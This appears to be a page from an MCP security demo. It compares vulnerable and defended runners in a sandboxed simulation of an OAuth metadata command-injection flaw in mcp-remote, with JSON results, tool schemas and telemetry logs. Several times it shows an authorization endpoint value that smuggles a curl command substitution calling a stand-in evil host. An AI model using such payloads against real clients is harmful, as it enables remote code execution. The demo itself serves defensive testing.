compare-vuln-remote-mcp-remote-auth-endpoint-injection2026-11-06T13:27:05.238210+00:00/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt · canary CANARY_remote_mcp_remote_auth_endpoint_injection_d69ed9ccd5bea01ac8447e34compare-def-remote-mcp-remote-auth-endpoint-injection2026-11-06T13:27:05.238391+00:00oauth_metadata_validation_policy · logged to var/telemetry.jsonlconnect_with_metadatasandbox/effects/auth-endpoint-command-proof-<session>.txtauthorization_endpointhttp://attacker.example/authorize?$(curl evil.example/x)/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txtFalseno real command run; bounded proof file onlyimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modeimpact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_modevar/telemetry.jsonloauth_metadata_validation_policyauthorization_endpointhttp://attacker.example/authorize?$(curl evil.example/x)'authorization_endpoint' must use https; got 'http'Falsepolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedpolicy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blockedBounded simulation of CVE-2025-6514 (`mcp-remote` OAuth metadata injection). A malicious OAuth metadata fixture carries a non-HTTPS authorization endpoint, embedded shell-metacharacter markers and a non-allowlisted host. The vulnerable runner trusts the metadata and reaches a bounded proof primitive. The defended runner validates the metadata first (scheme, host allowlist, control chars, shell-meta markers, redirect-to-internal) and refuses before any effect.
http://mcp-sec.data.mayflower.tech/mcp/mcp-remote-auth-endpoint-injection/vulnerable/http://mcp-sec.data.mayflower.tech/mcp/mcp-remote-auth-endpoint-injection/defended/npx @modelcontextprotocol/inspector locally and paste either URL above as a Streamable HTTP server.{
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"violation_detected": true,
"secret_exfiltrated": false,
"blocked_by": [],
"events": [
{
"type": "bounded_rce_proof",
"metadata_field": "authorization_endpoint",
"metadata_value": "http://attacker.example/authorize?$(curl evil.example/x)",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"would_execute": false,
"note": "no real command run; bounded proof file only"
}
]
}{
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"violation_detected": true,
"secret_exfiltrated": false,
"blocked_by": [
"oauth_metadata_validation_policy"
],
"events": [
{
"type": "metadata_decision",
"field": "authorization_endpoint",
"value": "http://attacker.example/authorize?$(curl evil.example/x)",
"reason": "'authorization_endpoint' must use https; got 'http'",
"would_execute": false
}
]
}Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).
{
"properties": {
"issuer": {
"title": "Issuer",
"type": "string"
},
"authorization_endpoint": {
"title": "Authorization Endpoint",
"type": "string"
},
"token_endpoint": {
"title": "Token Endpoint",
"type": "string"
},
"session_id": {
"default": "mcp-vulnerable",
"title": "Session Id",
"type": "string"
}
},
"required": [
"issuer",
"authorization_endpoint",
"token_endpoint"
],
"title": "connect_with_metadataArguments",
"type": "object"
}Run the canonical scenario and return DemoResult.
{
"properties": {
"session_id": {
"default": "mcp-vulnerable",
"title": "Session Id",
"type": "string"
}
},
"title": "run_demoArguments",
"type": "object"
}Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).
{
"properties": {
"issuer": {
"title": "Issuer",
"type": "string"
},
"authorization_endpoint": {
"title": "Authorization Endpoint",
"type": "string"
},
"token_endpoint": {
"title": "Token Endpoint",
"type": "string"
},
"session_id": {
"default": "mcp-defended",
"title": "Session Id",
"type": "string"
}
},
"required": [
"issuer",
"authorization_endpoint",
"token_endpoint"
],
"title": "connect_with_metadataArguments",
"type": "object"
}Run the canonical scenario and return DemoResult.
{
"properties": {
"session_id": {
"default": "mcp-defended",
"title": "Session Id",
"type": "string"
}
},
"title": "run_demoArguments",
"type": "object"
}[
{
"event_id": "evt_0ad2992b830c0245",
"ts": "2026-11-06T13:11:03.158269+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_d69ed9ccd5bea01ac8447e34",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
},
{
"event_id": "evt_ded594fa8bd1e443",
"ts": "2026-11-06T13:27:05.238210+00:00",
"session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "vulnerable",
"event_type": "sandbox_file_written",
"severity": "info",
"message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"data": {
"actor": "impact-runner",
"target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
"policy_decision": "allowed_by_vulnerable_mode",
"canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_d69ed9ccd5bea01ac8447e34",
"artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
}
}
][
{
"event_id": "evt_c0552583972a7800",
"ts": "2026-11-06T13:11:03.159163+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
},
{
"event_id": "evt_ab557b717d1eec85",
"ts": "2026-11-06T13:27:05.238391+00:00",
"session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
"experiment": "remote-mcp-remote-auth-endpoint-injection",
"mode": "defended",
"event_type": "policy_decision",
"severity": "warning",
"message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
"data": {
"actor": "policy.oauth_metadata_validation_policy",
"target": "oauth-metadata.authorization_endpoint",
"policy_decision": "blocked",
"canary_id": null,
"artifact": null,
"reason": "'authorization_endpoint' must use https; got 'http'"
}
}
]